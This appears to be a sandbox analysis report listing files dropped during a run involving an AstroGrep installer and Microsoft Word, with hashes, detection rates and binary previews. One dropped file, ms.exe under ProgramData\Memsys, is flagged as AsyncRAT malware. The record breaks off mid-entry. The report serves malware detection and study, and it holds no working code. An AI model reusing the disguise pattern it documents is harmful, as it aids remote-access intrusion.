SHA-512:	A054A7FD69E4A643286212FEDABDE4BDFB36BBF3E7F9FC33524BA8DFECBC375E991C23B4E047F5F235A77E9D6A525F996934A4A993B61E1FE7D84066FF972DF1
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>...<startup>.. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>...</startup>..</configuration>..

C:\Program Files (x86)\AstroGrep\AstroGrep.Common.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	4.660156886149009
Encrypted:	false
SSDEEP:	192:MPL93AfzEbqrlLH945OKtueaQJ6BLcSEeC137:MsEbyHGscu3DdkxL
MD5:	2F2899673ABB136BFC8B92A6D3BAFF33
SHA1:	5BE14D5C58AF9F78858DD5E9ED6CD929F87AC0B4
SHA-256:	0E7A71232FB6676777A823ADDB4776BD895ABBE29EA2487110073BD0C5FF6AA6
SHA-512:	CF5B23F4E5417DDC4AB5A354E7EA90C5CCE28133DE7D1AE260F0879E474727DBB73E47C9CB92A98BD5B6F6EBCFC67CD955423FA1615A0D7C24783415325200CA
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....o.\...........!.................9... ...@....... ....................................@..................................9..K....@.......................`......H8............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......@$...............................................................(....,.(....o....(......(....~....(.......0..........(....r...p(.........(....r...p(.........~....~....r...p(....(.........~....~....r...p(....(.........(....o....(.........(....o....(...........(......{...."..}......{...."..}....^~....-.s.........~....*..0...........(....s.....s......r1..p.o.....~....}......{....(....o.....~....(....o.....r;..p(....o .... ..P.jo!.....o".....o#...r...p~$....s%...

C:\Program Files (x86)\AstroGrep\AstroGrep.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	573440
Entropy (8bit):	6.183835631467389
Encrypted:	false
SSDEEP:	12288:uibf6/zxXrXyhwSl9LndCXlhqNWvgVYODH9zG5X1LeihaBQSa:ifEWOYODH9zoX1Le/
MD5:	202C965DE1291E773F7DAE0C495253FB
SHA1:	13EB40E5DF525388D7A2AD18B1720FED78C5EE13
SHA-256:	3138155ABD6A9BADDB63869CD34BF0492718929E910CB4F38BC1767507932B4F
SHA-512:	97445E848DA86876AB324B9C6EC2D27F51BE753ABF1956A79829763F92363B9B7C05A232F876C97A66653109505BAE94BB2B85B53E6F9697698EF8EA2FD21F7A
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 1%, Browse Antivirus: Metadefender, Detection: 2%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....o.\.................0...........E... ...`....... ....................................@..................................E..W....`...i........................................................................... ............... ..H............text....&... ...0.................. ..`.rsrc....i...`...p...@..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AstroGrep\AstroGrep.exe.config Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	237
Entropy (8bit):	4.960108368394514
Encrypted:	false
SSDEEP:	6:TMV0kIffVKNC7VJdfEyFRRAopuAlKNjSt+gP9XWRM5W4QIT:TMG13VOcr6U9wNutJP9UMo4xT
MD5:	502C63E84CACC88FA782EEC1772EFF68
SHA1:	BA6138741633C60D1C92C7C25DDE15D378C0C324
SHA-256:	FE3405C9535DCE3857908E6740099227B7D55CF78A15676D440E781E04EA17BD
SHA-512:	EBA2DD5216BB3293BB3101A5CDADDEF0B4A94577159A8A0654F712F9939F1D03FF670DA6DF0B5F4475D593EDDF330E76E2F6EB19B19E3E51C2EA53A74ACC59B3
Malicious:	false
Preview:	<?xml version="1.0"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>.. </startup>.... <runtime>.. <gcAllowVeryLargeObjects enabled="true" />.. </runtime>..</configuration>

C:\Program Files (x86)\AstroGrep\AstroGrep_256x256.png Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6813
Entropy (8bit):	7.898680227457462
Encrypted:	false
SSDEEP:	192:djkp/iNmEYXGtZEV2QWEgFmPPqlqCSKG1Ief:hmiNmTP733q+XR
MD5:	2143826EABE773D3206333B65C2FC67B
SHA1:	B75806940C971C2BB8584E1028EFA512F8AA5646
SHA-256:	8A50671F22D64A0131C9FFE23B3777862172F6D5C63B48C94DFE0FE8E8D62D06
SHA-512:	3D0611BEE13D6A397D5FB3F2E924829360596891DBCFDE1EC0FCE25F2DDEE62D50A10ABA31827334FE12867C508694BB8FB3F72604FC08A1CD323C2615C2F3FF
Malicious:	false
Preview:	.PNG........IHDR.............\r.f....sRGB.........gAMA......a.....pHYs...3...3.\.......tEXtSoftware.paint.net 4.0.5e.2e....IDATx^.=.]Uv.)......Gr1.........<....K...((((\X.........<.'r...f...I..D@.`.3a&.B.C...``.0~o......y...{...?.K......Z.....u..mS8.~.W..c..i.4x..M\J\....v..S...s.=....1....!U.S.Ri...w...N.3....>......2..,...2.T6...J3.).../...........{........xN....`.i.m._.j.E.fap.'.K`./.Mp...xc...,.z...F...Ri.....<.x.....qOW2..6..L......UWfX...8....t...[..t...{Y7.....4.E....9hw...\|.t..s.R......=..."`.....T...v.o..W=.y.\|......4Y.......H.Y.8&.....\|w...~.X...X....-.bH...8...^.]...~.....y....'%-.T.........^.2..k.9.%.&Y....w..D.4p....>_=.7>l.n2.<..1...4w.3%......G....M...epL....T.I.s4....x.n.i.f=...V.?.6......e.,.$......).n.q..Q..-#.-....W:I8L.W.M.-...+.h..l.8...si.r.S...N..........!.b......hk.N\|..P>..RY;h...7.......9wBzH.J.He...../.F'..7]..o.\|.V..F........1A..}.....@c.....%^.gf.....~..T.....\|1...:f^.W.;O...,.4.......E...}...k.#.%

C:\Program Files (x86)\AstroGrep\ICSharpCode.AvalonEdit.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	626688
Entropy (8bit):	6.014937851800105
Encrypted:	false
SSDEEP:	6144:Oo7n6u1n5vp9yRUmqtM0yRrl0pjoeUy8b01vKbZ/gAGl0gUEdYC:OoLDnwmW0yRr88bwKKdf
MD5:	B4D5D46E50006E87B30E7D514E95173C
SHA1:	BD3BA298EB7E4CDBFDF29E3992BE7D32A4E792EB
SHA-256:	058F38F33F3F99F904AB9588447A234346C859718404B4E8A523673ED19CDBE7
SHA-512:	38FF7CADA6CFA56AF812A1D859AAC4FB8B94DF50454A9FECC55E4FDB159339F6BA885D0B57FE8C522227DD9280CDA0CA21C6A073B6552923FA33F6E77D8F3BC5
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f.Y...........!.....`... ......~.... ........@.. ..............................).....@.................................,...O.......8............................}............................................... ............... ..H............text...._... ...`.................. ..`.rsrc...8............p..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AstroGrep\NLog.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	784384
Entropy (8bit):	6.017097344038701
Encrypted:	false
SSDEEP:	12288:/n77J/zrlPjThZdvTU585ZqmjlJzAF7GVj8TcpkMcaQD3SaB5mUsQ:/n77J/zrlPjThZdv55ZbIF7GVje4kRD5
MD5:	063D7646038B3676CA4BBCCF8CD9736C
SHA1:	DE90082E366938A3D1BB16A9B5BBB4D692F620D4
SHA-256:	F809128B8E35F20A0407F9642AEFA1A64D2B5494F024F5EC403B712C67441ECD
SHA-512:	BB50F12A9B5DE65752B7AFDDF82726A82BB06DF8B6B16712385663981DA810189FA9B72FA45122B3C57719D9EB626BB5D1D90B29D833851A4AA08E35B6FDB923
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...#............." ..0.................. ... ....... .......................`......0.....@.................................3...O.... .......................@......d...T............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................g.......H............L..........4..............................................."..(......(...."..(......(......(......(.....(...."..(.......0..B.......~..........(X...~....,.~.....oY......+...(......oZ......,..([............../7......"..(....6.(.....(S.....0..........(.......o\...&..(....o]...2(.....oY.......0..?.......~..........(X...~....,.~.....oY...+...(.....o^...&...,..([....*.........,4.......0..?.......~..........(X...~....,.~....o_......+...(....o`......,..([..

C:\Program Files (x86)\AstroGrep\Uninstall.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	61854
Entropy (8bit):	6.589895956298641
Encrypted:	false
SSDEEP:	1536:Gw4fpS/nScizHM74N0DIDidcfgdLeAyN9jWtNixGl:Gw4gnScG4DI2dcfceAkWrixq
MD5:	15BDDE25A8A23AAFB0E593D4A1F145B6
SHA1:	250EC8FEA74A2EAC9A1BD3DA1ABF5AC91D1962D7
SHA-256:	4118177FBD02533C449D3D02168300DA1D5B24052B10877A3B4BC03E27C5C375
SHA-512:	3AFB05064722B5616EA74BC8C8E6C50D6EB8F1125AC333339430D05FAE89E445753E45DD5FDCA17E9BE9A94BCA67B3E2B31EEB52DAF2AF3BEC47D0A1EC1ABD03
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 5%, Browse Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F..v...F...@...F.Rich..F.........................PE..L....z.W.................`...\|.......1.......p....@.......................................@.................................4u..........pP...........................................................................p...............................text...._.......`.................. ..`.rdata..R....p.......d..............@..@.data....T...........x..............@....ndata...................................rsrc...pP.......R...~..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AstroGrep\astrogrep.VisualElementsManifest.xml Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.268121017723893
Encrypted:	false
SSDEEP:	6:ejHyWc4subuVFWod/NDhkQwYnF4kQwYWadTZ/FhYWadTZ/FeXXKhdNc0SDSFQ:ebvyWW/meZsR1sR8drDGQ
MD5:	824E6132D30D647AED6E9EE3C2DA12C9
SHA1:	DCBE8CAB6784AA26BC9A4F0DC5B60D9733A49F74
SHA-256:	01BF1A694FAF44953B592D1C237D3F93C1B8B346476C30E638C1FAAD0201386B
SHA-512:	DABC61D48723B53C95EE7BBDDB92261E724054CDCE4F9616B0338CACE8F8A9667CAC087C131D8A83BEE68875436F08F9A313F70EA5B85A46989D2B21C84F0541
Malicious:	false
Preview:	<Application xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>.. <VisualElements.. ShowNameOnSquare150x150Logo='on'.. Square150x150Logo='AstroGrep_256x256.png'.. Square70x70Logo='AstroGrep_256x256.png'.. ForegroundText='light'.. BackgroundColor='#fb7f06'/>..</Application>

C:\Program Files (x86)\AstroGrep\libAstroGrep.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	237568
Entropy (8bit):	5.286872988422086
Encrypted:	false
SSDEEP:	3072:1QwCS0adLYzS+L5VsbeNcg2IZOz3eJJ9oA3fGu51O+q4gbPaYgVXLRn/qR8H6K69:1QwCAdLy/mucxIUKPOufGu5m4fr
MD5:	6E3AFEF0BD6B7EC03007CCDD76F85447
SHA1:	8B434EAB09D948FAC57E98F312C8B24381873374
SHA-256:	B268CDA0D5F431E0CB86FFF8A39420AC03DFC9C498CAE702F859904B79307EDE
SHA-512:	E10EC66C764584AD80D47C1B0CF64B61EBBE3B4E72D2CA05BCDAB5B62F4E3F6FE17A1C37EED9D87A678B8C3D42E6534DE9EE95BF204CA815426EA28935633894
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....o.\...........!................n.... ........... ....................................@.....................................S................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H...........X...........................................................^~....-.s.........~.......}..... .I..}.....(......{....s....}.....s....}....6.{.....o....v.{.....o....,..{.....o.....r.{.....o....,..{.....o....&..0...........{.....o....,(.{......o.....{.....o....&.{.....o....&.{......o.....{....o.....{....1'.{.....{....o....o ...o!...&.{....o"....{.....o....&..0...........(.....(#...o$...r...p.{....o.....o...+.s&.....o'...o(...-..o'...o).....s*......s+....s,....

C:\Program Files (x86)\AstroGrep\license.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18330
Entropy (8bit):	4.736471809051081
Encrypted:	false
SSDEEP:	384:lq2PmwEPb6k1iAVX/dUY2ZrEGMOZt7o0sDTj:lzuVLiY+rTZo0sDTj
MD5:	1324A1677693CF2A399CC9424C756CC3
SHA1:	2F29E68AB545965C401A12CE4783F7314E658AF3
SHA-256:	A4BD518E7F66B63A62035C0C542B5F3287BAF7138E13A0F6A30781D8730D766A
SHA-512:	2FD47275325B3605A9B982704BABFAD72D5AF3048064C66554F00F4D4D264DF252697F1D52733F6C87FBB3927A9FDD48ACF94B2E9475FD52334EFA12EA9F0B5A
Malicious:	false
Preview:	.. GNU GENERAL PUBLIC LICENSE.... Version 2, June 1991.... Copyright (C) 1989, 1991 Free Software Foundation, Inc... 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.. Everyone is permitted to copy and distribute verbatim copies.. of this license document, but changing it is not allowed........ Preamble.... The licenses for most software are designed to take away your..freedom to share and change it. By contrast, the GNU General Public..License is intended to guarantee your freedom to share and change free..software--to make sure the software is free for all its users. This..General Public License applies to most of the Free Software..Foundation's software and to any other program whose authors commit to..using it. (Some other Free Software Foundation software is covered by..the GNU Library General Public License instead.) You can apply it to..your programs, too..... When we speak of free software, we are referring to freedom, not..price. Our General Publi

C:\Program Files (x86)\AstroGrep\readme.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1834
Entropy (8bit):	4.931632926415765
Encrypted:	false
SSDEEP:	24:CGEEY1zF17X+B41FcMEEn+0MJ/cIr3EQZ1WrT5M5tmZNijpibbCT32yvosGQC:tYFFN+B41eM2UvQL0T1Fzy/GZ
MD5:	ABE9A78B3FD8ECD7409C2B382820134E
SHA1:	9AEC458EA30060EE633BD25D235C02AAEFF989D1
SHA-256:	B17BBDB71C888116A8661B373CA088C9B174E00551DF81B887EE9BCA28492189
SHA-512:	0F554B3BA4749B22728D303B7AC1BD7596CCAE5A51D0F06560AA829222DD5DFF31F089C2D5894A23D97093836A76595EA5BAA4441EAC4DF44C321F14CD554A3D
Malicious:	false
Preview:	.Changelog for AstroGrep v4.4.7..===================================================================..Bugs..-85: Possible issue with word plugin and leaving winword.exe process open...-98: Error "the string was not recognized as a valid DateTime"..-100: Performance issues..-101: Searching Multiple MS Word Documents..-102: Context Lines Display Discrepancy..-103: Astrogrep 4.4.6 hangs clicking on found file..-104: commandline spath not accepting multiple searchPath..-108: Used ListSeparator on right mouse "Copy all"..-109: Command Line issues - Check logic and docs..-113: Feature 108 is not working (Add additional text editor parameter for search text)....Featured Requests:..-101: Stopped painting status bar as often..-110: Exclude directories that do not match pattern (added not equals option for path based options)..-119: Added line hit count to count column values (format: total / line in current Count column)..-122: Add option to only show x chars before/.after matched text..-12

C:\ProgramData\Memsys\ms.exe Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	174144
Entropy (8bit):	6.491457088878327
Encrypted:	false
SSDEEP:	3072:tMSncRzAOjuCDTA2G2dBOItczBbyjGUOx2w4gnScG4DI2dcP456WN3cahj:uSncRljuCfzd3tczBb7292+MN3cKj
MD5:	2BD7A81D9DC6F3D44FD977580271C1F1
SHA1:	A698930115AD68DDC1471C0F66EDB1E6F913B468
SHA-256:	43DEC507E474ECA562BE1D6329A842ECD8A7A68E8EF0BA2E3EB8033C1CF18CEA
SHA-512:	7494DB34B4E2E2D6A4F92E22DDCD2CAEB296A27BF6E5544CB29C99ABDA51DB9B52676DDDA39ED44B570E9A7816C65F1976F40008BECCE5FA4F8B341B0722ABBE
Malicious:	true
Yara Hits:	Rule: Malware_QA_update, Description: VT Research QA uploaded malware - file update.exe, Source: C:\ProgramData\Memsys\ms.exe, Author: Florian Roth Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\ProgramData\Memsys\ms.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F..Q............m.>.....m...F...m.........3.........V...m.......m.=.....Rich............................PE..L....0.N.................z..........H2............@..................................Z....@.....................................<........x...................p......`...............................H...@...............$............................text...Bx.......z.................. ..`.rdata...1.......2...~..............@..@.data...............................@....rsrc....x.......z..................@..@.reloc.......p.......8..............@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AstroGrep\AstroGrep.lnk Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Thu Apr 4 19:57:44 2019, mtime=Sun Jul 18 03:42:39 2021, atime=Thu Apr 4 19:57:44 2019, length=573440, window=hide
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	4.527784755515661
Encrypted:	false
SSDEEP:	24:8mQ50FJcdOEv+ZYF/iVgcN6OUA1Ly5Sdfmvdfv8U53qod7y:8mDidO/+/GrN6Oj1Ly5SdfmvdfvpAoxy
MD5:	D50C2DC45DA94A42EB3519FFB9ECDFB5
SHA1:	EF70BADE52AE9C1DE9B21EAE6E73958C62D26A81
SHA-256:	37D91F7E68DC5F1C9ECA21659628748A6F6EF525E5B8C383DD56F4E86440A8C5
SHA-512:	FF649AE63C9E45182C710CA38230C8E3ADAFEA489939051C8A53C591AC8D0BD763509FA84F64AFDA0233BB13588BEBC9E5AE0F34F9CD6F9611B84DB6F9854470
Malicious:	false
Preview:	L..................F.... .......)......V.{......)................................P.O. .:i.....+00.../C:\.....................1......RT%..PROGRA~2..\|.......:...RT%...................R.....P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....X.1......RU%..ASTROG~1..@.......RT%.RU%...Y.....................A.s.t.r.o.G.r.e.p.....d.2......N6. .ASTROG~1.EXE..H......N6..RT%....'....................A.s.t.r.o.G.r.e.p...e.x.e.......]...............-.......\...........ah.H.....C:\Program Files (x86)\AstroGrep\AstroGrep.exe..=.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.s.t.r.o.G.r.e.p.\.A.s.t.r.o.G.r.e.p...e.x.e. .C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.s.t.r.o.G.r.e.p.........................@Z\|...K.J.....................1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......715575..........D_....3N...W...9M.C...........

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AstroGrep\Uninstall AstroGrep.lnk Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sun Jul 18 03:42:40 2021, mtime=Sun Jul 18 03:42:40 2021, atime=Sun Jul 18 03:42:40 2021, length=61854, window=hide
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	4.53537478019611
Encrypted:	false
SSDEEP:	24:8mTJcdOEv+ZYF/8lcafUA1LMdfOhgdfv8U53qoi7n:8mTidO/+/8+afj1LMdfOhgdfvpAoIn
MD5:	C36F8465E6054E0FCCF8AA35BF1EB274
SHA1:	623D0C3FE44A45160A6323052813DF2E41AE8950
SHA-256:	6BC551B7116E1F41183A6A1F1AB103C4202E0F5317F15AFF6D99BE41CB406E7C
SHA-512:	CBD28E78DC0E1011A462651C852812FFADCC9E2390D940992CBDA4146E12DC76082023498422F2ECD297738BB1CFF825275C1AA1A9C6087FA59394D9C6F6D0ED
Malicious:	false
Preview:	L..................F.... ....%.W.{...%.W.{...%.W.{...............................P.O. .:i.....+00.../C:\.....................1......RT%..PROGRA~2..\|.......:...RT%...................R.....P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....X.1......RU%..ASTROG~1..@.......RT%.RU%...Y.....................A.s.t.r.o.G.r.e.p.....d.2......RU% .UNINST~1.EXE..H.......RU%.RU%.........................U.n.i.n.s.t.a.l.l...e.x.e.......]...............-.......\...........ah.H.....C:\Program Files (x86)\AstroGrep\Uninstall.exe..=.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.s.t.r.o.G.r.e.p.\.U.n.i.n.s.t.a.l.l...e.x.e. .C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.s.t.r.o.G.r.e.p.........................@Z\|...K.J.....................1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......715575..........D_....3N...W...9N.C...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\78FF0AD.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	PNG image data, 1024 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	297570
Entropy (8bit):	7.987371833942709
Encrypted:	false
SSDEEP:	6144:wM9q9mzZATahSx65T341zP0LFDPV1W0ilwn8/aaT2J/3Qw9t69Im1J3G:1q90ZATahIMPLVKwCm/3QwKTu
MD5:	59AC9BE84B9A41DC7BA9B4CC0DC0B2BE
SHA1:	2F3958FC9B12179EF4003D215D6B609C4B387C95
SHA-256:	B094944CDD0D7F55FF67CAC98C150C59F67D27A60E661CF403C21D3E22CA4C50
SHA-512:	7FE0BD9AD21A3201F2A056802BE55C48251DA44D66B8D50D1843E47C25C1C92D272827EF2C26D3EBEF187F215BF07F9C71433FFC68FF0E2A0A9E609E05E7C348
Malicious:	false
Preview:	.PNG........IHDR.....................bKGD..............pHYs.................tIME......1(.p.....iTXtComment.....Created with GIMPd.e... .IDATx...y`.g}7..3..,.lY.$.....9..$%$...B8J.@.........@K.i)....H.B........q\|.G,...[.{g.y..se.......A.......X.....#...DDDDDDDtJSx.......... """""""&..........."""""""b........... """""""&..........."""""""b..........."""""""b........... """""""&..........."""""""b........... """""""&.......... """""""&..........."""""""b........... """""""&..........."""""""b..........."""""""b........... """""""&..........."""""""b........... """""""&..........."""""""&..........."""""""b........... """""""&..........."""""""b........... """"""b........... """""""&..........."""""""b........... """""""&..........."""""""&..........."""""""b........... """""""&..........."""""""b........... """""""&.......... """""""&..........."""""""b........... """""""&..........."""""""b..........."""""""b........... """""""&..........."""""""b........... """""""&.......... """

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5BCB44D4-31CD-44E2-A821-3408DFB7CA1A}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.1215386864328073
Encrypted:	false
SSDEEP:	3:JlXll/lGNWtWlxlG:ANyiC
MD5:	6D00E84E5EDAA43E119EA03CE5ECAA4F
SHA1:	9FA7D5D09FED0A7C1F8392022EAAA24B66F4E77B
SHA-256:	957DA89085D8855135307E641A71C5EA2284BE478C115D7A6C3E9C095E83D407
SHA-512:	9DD9AD771F98A2AA72A238FCFE2F34AE181059A55A214A0B3EF7238916E9494B7BE5510DF0884B1CB1D357578E27F0E9B13F5CB7A1002E4583DBF428D3BBA0BE
Malicious:	false
Preview:	D...D.d.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................D...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8DB8CC3B-9141-43B7-951A-41190F623D30}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4273664
Entropy (8bit):	2.9934039252196754
Encrypted:	false
SSDEEP:	3072:asEquQFSZO2fZBlq5KsmqL15nSLK42srUUNoBbTTShbliRWMTwHh2ABRSDxnj/gH:G
MD5:	204EB5AEA47FB729502B517C7FEEF002
SHA1:	8AFE0FC7C7C994683ECE60B4E97325A96E5D66A0
SHA-256:	6A83F0B564303E74D593CB04D9845BE911367173011C27DD1A23771004C3E43B
SHA-512:	3458DDB5F132361EF9F919BD2FB8E1490ACF911090E7B8B3DE623821CA4058EA36E8FDAB03D3C8F1D5649CF26C230CC098DDCB190AFFA77C06335FB5F2041928
Malicious:	false
Preview:	../......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ..."...$...&...(...*...,.......0...2.......................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{90768F62-679A-419C-A2B1-C0B28319F5E4}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FBF58E38-2270-4D70-A99C-79301888F689}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.357318797251612
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlb5:IiiiiiiiiifdLloZQc8++lsJe1MzG
MD5:	725A361F060B89059A926A98B5426871
SHA1:	3F5DF773068BB7382415782D3A0C4A8B1E7666D5
SHA-256:	A0F0BE63E9A1345B9D5FC8BBD74FF0CF238B1C56BACED75257F606F5EDAE3360
SHA-512:	2888DBF1D2341A033F691050C8A8204BB1C849894433DD3AA5C4CF41F8F74B04229560B4BC465082C9E312A0963D86F4971B5B1CCCED279CFCAECAA407E8F0E4
Malicious:	false
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE Download File
Process:	C:\ProgramData\Memsys\ms.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	48640
Entropy (8bit):	5.561770945961325
Encrypted:	false
